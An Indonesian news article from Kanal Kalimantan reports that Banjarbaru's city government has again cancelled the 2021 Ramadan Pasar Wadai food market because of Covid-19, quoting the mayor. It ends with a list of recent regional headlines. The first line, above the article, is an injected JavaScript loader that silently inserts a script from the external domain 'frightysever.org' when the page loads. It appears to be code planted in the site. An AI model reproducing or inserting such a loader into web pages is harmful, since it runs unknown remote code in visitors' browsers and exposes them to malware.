(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pasar Wadai Ramadhan Banjarbaru Kembali Ditiadakan


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru memutuskan meniadakan kegiatan Pasar Wadai Ramadhan 1442 Hijriah mendatang. Alasannya, lagi-lagi akibat kondisi pandemi Covid-19.

“Berkaitan dengan datangnya bulan suci Ramadhan, kami pemerintah kota Banjarbaru meniadakan Pasar Wadai Ramadhan disebabkan situasi dan kondisi pandemi Covid-19 yang masih berlangsung,” kata Wali Kota Banjarbaru, Aditya Mufti Ariffin, kepada Kanalkalimantan, Kamis (25/3/2021) siang.

Keputusan ini sebenarnya juga ditetapkan saat menyambut Ramadhan 2020 lalu. Memang Pemko sendiri tak ingin mengambil resiko untuk membuka kegiatan Pasar Wadai yang selama ini sudah menjadi event tahunan di Kota Banjarbaru.

Pertimbangan ini juga tak luput dari tren angka kasus Covid-19 di Banjarbaru yang hingga sampai saat ini masih merangkak naik. Misalnya saja pada Rabu (24/3/2021) kemarin, Satuan Tugas (Satgas) Covid-19 Banjarbaru melaporkan ada penambahan 38 kasus baru terkonfirmasi virus corona.

 

Baca juga: 4 Terdakwa Divonis Mati PN Banjarmasin, Kasus Sabu 300 Kg Jaringan Internasional

Upaya Pemko demi mengendalikan penyebaran virus sebenarnya sudah cukup maksimal. Terbukti kekinian Pemko kembali memperpanjang masa penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Mikro yang kini telah memasuki jilid ketiga dan berlangsung hingga 5 April mendatang.

Tak lupa, Aditya mengimbau kepada masyarakat untuk tetap mematuhi protokol kesehatan dan menaati aturan yang ditegakkan selama berlangsungnya masa PPKM. Meski memang tak afdol tanpa adanya kegiatan Pasar Wadai, ia berharap bulan suci Ramadhan tahun ini bisa dimaknai masyarakat dengan saling melindungi dan menjaga diri dari penularan virus.

“Namun kita tidak akan melarang pedagang berjualan jika memanfaatkan halaman rumah ataupun ruko. Silakan berjualan di depan rumah atau depan ruko, asal jalankan protokol pencegahan penyebaran Covid-19 dan jangan berkerumun,” tuntas Wali Kota Banjarbaru. (kanalkalimantan.com/rico)

Reporter : rico
Editor : kk


Al Ghifari

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

2 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

3 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

4 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

4 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

5 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

5 jam ago

This website uses cookies.